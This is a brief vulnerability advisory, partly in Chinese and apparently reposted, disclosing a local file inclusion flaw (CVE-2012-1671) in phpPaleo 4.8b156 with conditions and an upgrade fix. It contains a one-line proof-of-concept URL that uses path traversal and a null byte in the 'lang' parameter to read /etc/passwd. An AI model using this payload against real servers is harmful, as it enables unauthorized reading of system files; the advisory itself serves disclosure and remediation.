'phpPaleo' Local File Inclusion (CVE-2012-1671)
Mark Stanislav - mark.stanislav@gmail.com
 
 
I. 概述
---------------------------------------
缺陷位于index.php for language handling that allows for local file inclusion using a null-byte attack on the 'lang' GET parameter.
 
 
II. 已测试版本
---------------------------------------
4.8b156
 
 
III. PoC EXPLOIT
---------------------------------------
http://www.2cto.com /phppaleo/index.php?lang=../../../../../../../etc/passwd%00
 
 
IV. 注意

---------------------------------------
* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work
 
 
V. 解决方案
---------------------------------------
升级到4.8b157 or 以上